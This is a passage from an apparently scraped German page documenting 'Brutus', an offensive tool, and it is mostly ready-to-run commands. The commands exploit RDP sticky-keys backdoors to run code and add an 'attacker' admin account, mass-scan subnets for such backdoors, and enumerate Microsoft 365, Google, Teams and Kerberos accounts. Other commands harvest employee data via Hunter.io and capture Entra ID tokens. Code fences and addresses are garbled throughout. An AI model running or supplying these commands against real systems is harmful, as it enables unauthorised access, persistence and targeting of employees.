    Sobald eine Backdoor erkannt wird, führen Sie einen Befehl auf dem entfernten System über die Pre-Auth-Befehlseingabeaufforderung aus:```bash

    Execute a single command via the backdoor

    brutus logon --target 10.0.0.50:3389 --exec "whoami"

    Add a local admin account

    brutus logon --target 10.0.0.50:3389
    --exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

    root@kitploit:~
    Dies verbindet, löst die Hintertür aus, tippt den Befehl, drückt die Eingabetaste, wartet auf die Ausgabe und speichert einen PNG-Screenshot des Ergebnisses.
    
    ### Interaktives Web-Terminal (`--web`)
    
    Starten Sie einen browserbasierten RDP-Viewer für die Live-Interaktion mit der Eingabeaufforderung der Hintertür:```bash
    # Start interactive web terminal
    brutus logon --target 10.0.0.50:3389 --web
    

    Dies startet einen lokalen HTTP-Server mit:

    • Live-Bildschirm-Streaming mit ~10 FPS (JPEG über WebSocket)
    • Vollständige Tastaturweiterleitung (PS/2-Scancodes, abgebildet vom Browser-KeyboardEvent)
    • Mausunterstützung (Klicken, Bewegen, Rechtsklick)
    • Verbindungsstatus mit Trennungs-Overlay und Wiederverbinden-Button

    Öffnen Sie die angezeigte URL (z. B. http://127.0.0.1:<port>) in einem beliebigen Browser, um mit der entfernten RDP-Sitzung zu interagieren. Wenn die Sitzung aufgrund eines serverseitigen Leerlauf-Timeouts getrennt wird, klicken Sie auf Wiederverbinden, um eine neue Sitzung zu erstellen.

    Hinweis: Nicht-NLA-RDP-Sitzungen haben einen serverseitigen Leerlauf-Timeout (Windows-Standard variiert je nach Konfiguration, normalerweise gesteuert über Gruppenrichtlinien unter Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Um den Timeout auf einem Testziel zu verlängern, setzen Sie MaxIdleTime auf 0 in der Registrierung:

    root@kitploit:~
    HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
    

    B-TP (Benign True Positive)-Überlegungen: Der Backdoor-Ersatz kann auch auf vergessene Passwort-Wiederherstellungsverfahren oder Artefakte von autorisierten Penetrationstests hinweisen.

    Massen-RDP-Scanning-Pipeline

    Für groß angelegte Bewertungen führt der Unterbefehl logon Backdoor-Erkennung über mehrere Ziele hinweg durch. Er akzeptiert Pipeline-Eingaben, Zieldateien oder nmap/masscan-Importe — nur RDP-Dienste werden getestet:```bash

    Scan a /24 for sticky keys and utilman backdoors

    naabu -host 10.0.0.0/24 -p 3389 -silent |
    nerva --json |
    brutus logon --json -o rdp-findings.json

    Scan from nmap results

    brutus logon --nmap-file scan.xml --json -o rdp-findings.json

    Scan from targets file

    brutus logon --targets-file rdp-targets.txt --json

    Extract critical findings

    jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

    root@kitploit:~
    **Technische Umsetzung:** Die RDP-Protokollunterstützung verwendet [IronRDP](https://github.com/Devolutions/IronRDP) (Rust), das zu WebAssembly kompiliert und über [wazero](https://github.com/tetratelabs/wazero) ausgeführt wird, wodurch Brutus' Zero-CGO-, Single-Binary-Design beibehalten wird.
    
    ---
    
    ## Konto-Enumeration
    
    Der Unterbefehl `enum` ermittelt, welche Kontoexistenz-Orakel für eine Organisation funktionieren (und zählt E-Mails gegen diese auf) oder zählt Active Directory-Benutzer auf, alles ohne Passwörter zu senden.
    
    ### Kontoexistenz-Orakel-Enumeration
    
    Identifizieren Sie, welche nicht authentifizierten Kontoexistenz-Orakel (microsoft365, google, github, plus das Microsoft Teams-Orakel) für eine Organisation funktionieren, validieren Sie sie anhand eines bekannten gültigen Benutzers, und zählen Sie dann Kandidaten-E-Mails gegen die funktionierenden Orakel auf. DNS-TXT-Recon deckt die Kandidaten-Orakel auf; die Validierung gegen `--known-valid` ist das Highlight. `--known-valid` ist erforderlich, und die Enumeration läuft nur gegen die Orakel, die es bestätigen:```bash
    # Discover candidate oracles via DNS and report which ones work
    brutus enum active oracles --domain example.com --known-valid [email protected]
    
    # Enumerate specific emails against the working oracles
    brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
    
    # Enumerate emails from file
    brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
    
    # Generate emails from embedded name lists and enumerate against working oracles
    brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
    
    # Discover working oracles with a known-valid email before large-scale enumeration
    brutus enum active oracles discover --domain example.com --known-valid [email protected]
    

    Kerberos User Enumeration

    Ermitteln Sie Active Directory-Benutzernamen über Kerberos AS-REQ (keine Passwörter gesendet, kein Sperrrisiko):```bash

    Enumerate specific users

    brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

    Enumerate from file

    brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

    Generate usernames and pipe to Kerberos enum

    brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

    root@kitploit:~
    ### Email/Username Generation
    
    E-Mail-Adressen oder Benutzernamen aus eingebetteten Wortlisten mit Vor-/Nachnamen generieren:```bash
    # Generate emails: [email protected]
    brutus enum generate --domain example.com --format flast
    
    # Generate usernames only (no domain): jsmith
    brutus enum generate --format flast
    
    # Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
    brutus enum generate --domain example.com --format first.last
    

    Hunter.io Domain Search

    Entdecken Sie Personen (E-Mail, Name, Berufsbezeichnung, Telefon, Abteilung, Seniorität, Konfidenz), die mit einer Domain über die Hunter.io Domain Search API verknüpft sind. Paginiert automatisch, bis alle Ergebnisse abgerufen sind.```bash

    Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

    export HUNTER_API_KEY=your_key_here

    Discover people for a domain

    brutus enum hunter --domain example.com

    Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

    brutus enum hunter --domain example.com --api-key your_key_here

    JSONL output to file (one record per person, with type:"hunter" discriminator)

    brutus enum hunter --domain example.com --output people.jsonl

    Adjust pagination page size (default: 100)

    brutus enum hunter --domain example.com --limit 50

    root@kitploit:~
    ---
    
    ### Microsoft Teams / Entra ID Authentifizierung
    
    Erhalten Sie ein OAuth2-Zugriffstoken, ein Aktualisierungstoken und ein ID-Token von Microsoft Entra ID (Azure AD) unter Verwendung des [device code flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Die resultierenden Token können für Microsoft Graph-API-Aufrufe, Teams-Enumeration und Auditing über Tools wie [ROADtools](https://github.com/dirkjanm/ROADtools) oder benutzerdefinierte Graph-Abfragen verwendet werden.```bash
    # Authenticate against the common endpoint (any Microsoft tenant)
    brutus enum active teams auth
    
    # Authenticate against a specific tenant by domain or GUID
    brutus enum active teams auth --tenant contoso.com
    brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
    
    # Request a different resource scope (space-separated). The default targets the
    # Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
    # authorized for Microsoft Graph (Graph yields AADSTS65002).
    brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
    
    # Use a custom app registration (your own Azure app client ID)
    brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
    
    # Capture the full token set as JSONL for piping to other tools
    brutus enum active teams auth -o tokens.jsonl
    brutus enum active teams auth --json
    

    So funktioniert es:

    1. Brutus fordert einen Gerätecode von login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode an.
    2. Ein kurzer Code und eine URL werden angezeigt – öffnen Sie die URL in einem beliebigen Browser und geben Sie den Code ein.
    3. Brutus fragt ab, bis Sie die Anmeldung abschließen, der Code abläuft oder Sie Ctrl+C drücken.
    4. Bei Erfolg werden das Zugriffstoken, das Aktualisierungstoken und das ID-Token ausgegeben.

    Human output zeigt nur die ersten 20 Zeichen des Zugriffstokens (ausreichend für die Überprüfung). Verwenden Sie --json oder -o, um die vollständigen Token-Werte zu erfassen.

    Standard-Client-ID: Die Microsoft Teams Desktopanwendung (1fec8e78-bce4-4aaf-ab1b-5451cc387264), ein First-Party-Public-Client, der den Gerätecode-Fluss unterstützt. Überschreiben Sie mit --client-id, um Ihre eigene App-Registrierung zu verwenden.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

    [*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

    [*] Waiting for you to complete sign-in...

    [+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

    root@kitploit:~
    #### Teams-Benutzerenumeration
    
    Sobald authentifiziert, enumerieren Sie Unternehmens-Teams-Benutzer anhand der E-Mail-Adresse. Jedes Ergebnis ist `exists`, `blocked` (der Mandant verbietet externe Suche, aber der Benutzer könnte existieren), `not found` oder `unknown` (Authentifizierungs-/Transportfehler). Persönliche/Live-Konten werden nicht unterstützt — nur Unternehmensmandanten.```bash
    # Device-code auth inline, then enumerate a couple of emails
    brutus enum active teams users -e [email protected],[email protected]
    
    # Generate candidate emails for a domain and enumerate the most-likely 5000
    # (presence and out-of-office are gathered by default; use --no-presence to skip)
    brutus enum active teams users --domain target.com --format first.last --limit 5000
    
    # Enumerate emails from a file
    brutus enum active teams users -E emails.txt
    
    # Reuse a token captured earlier and route through a SOCKS5 proxy
    brutus enum active teams auth -o token.jsonl
    brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
    
    # Provide an access token directly
    brutus enum active teams users -e [email protected] --access-token "$TOKEN"
    

    Wenn ein Refresh-Token verfügbar ist (über --token-file oder --refresh-token), wird ein abgelaufener Access-Token automatisch einmal verlängert; ansonsten wird ein 401 elegant zu einem unknown-Ergebnis herabgestuft.


    Google Workspace-Konten-Enumeration

    Überprüfen Sie, ob E-Mail-Adressen Google-Konten zugeordnet sind, indem Sie zwei nicht authentifizierte Orakel verwenden — es ist kein Token oder Anmelden erforderlich:

    • AccountChooser SSO redirect — zeigt Workspace-Konten auf Domänen an, die für Single Sign-On konfiguriert sind, sowie den Host des Identitätsanbieters (IdP), an den sie weiterleiten (workspace-sso).
    • GXLU Gmail probe — zeigt Gmail-fähige Konten an (gmail).

    Jedes Ergebnis ist exists (mit der bestätigenden Methode und, bei SSO, dem IdP-Host) oder not found.```bash

    Enumerate a couple of emails

    brutus enum active google -e [email protected],[email protected]

    Generate candidate emails for a domain and enumerate the most-likely 5000

    brutus enum active google --domain target.com --format first.last --limit 5000

    Enumerate emails from a file

    brutus enum active google -E emails.txt

    Route through a SOCKS5 proxy and raise concurrency

    brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

    root@kitploit:~
    `--domain` verwendet denselben frequenzbasierten Generator für Vor- und Nachnamen wie
    `enum generate`; `--format` wählt das Benutzernamen-Layout aus und `--limit` begrenzt
    die Generierung auf die ersten N (wahrscheinlichsten) Kandidaten. `--domain` kann mit
    `-e`/`-E` kombiniert werden.
    
    ---
    
    ## Bekannte Einschränkungen
    
    ### Heuristische Erkennung der Feststelltaste
    
    - **Wechselnde Fehlalarme:** Die rein heuristische Erkennung (`brutus logon` ohne `--experimental-ai`) kann bei wiederholten Scans gegen dasselbe Ziel falsch-negative Ergebnisse liefern. Nach einer erfolgreichen Erkennung bleibt das cmd.exe-Fenster auf dem Server geöffnet. Nachfolgende Verbindungen sehen das cmd.exe im Basisrahmen, und da das fünfmalige Senden von Umschalt keine neues Fenster erzeugt, ist der Pixelunterschied minimal – was zu einem „sauberen“ Urteil führt. Dies betrifft nicht den Modus `--experimental-ai`, der die Vision-API-Analyse des Antwortrahmens direkt nutzt (kein Differenz zwischen Basis und Antwort) und das Terminalfenster unabhängig vom vorherigen Zustand zuverlässig identifiziert.
    - **Workaround:** Verwenden Sie `--experimental-ai` mit gesetzter `ANTHROPIC_API_KEY` für eine konsistente Erkennung bei wiederholten Scans, oder lassen Sie zwischen den Scans eine Abkühlphase zu, damit die RDP-Sitzung zurückgesetzt wird.
    
    ### Browser-Plug-in
    
    - Erfordert lokal installiertes Chrome/Chromium
    - Der headless-Modus funktioniert möglicherweise nicht auf allen Systemen
    - Einige JavaScript-lastige Anmeldeseiten erfordern möglicherweise zusätzliche Wartezeit
    
    Tool herunterladen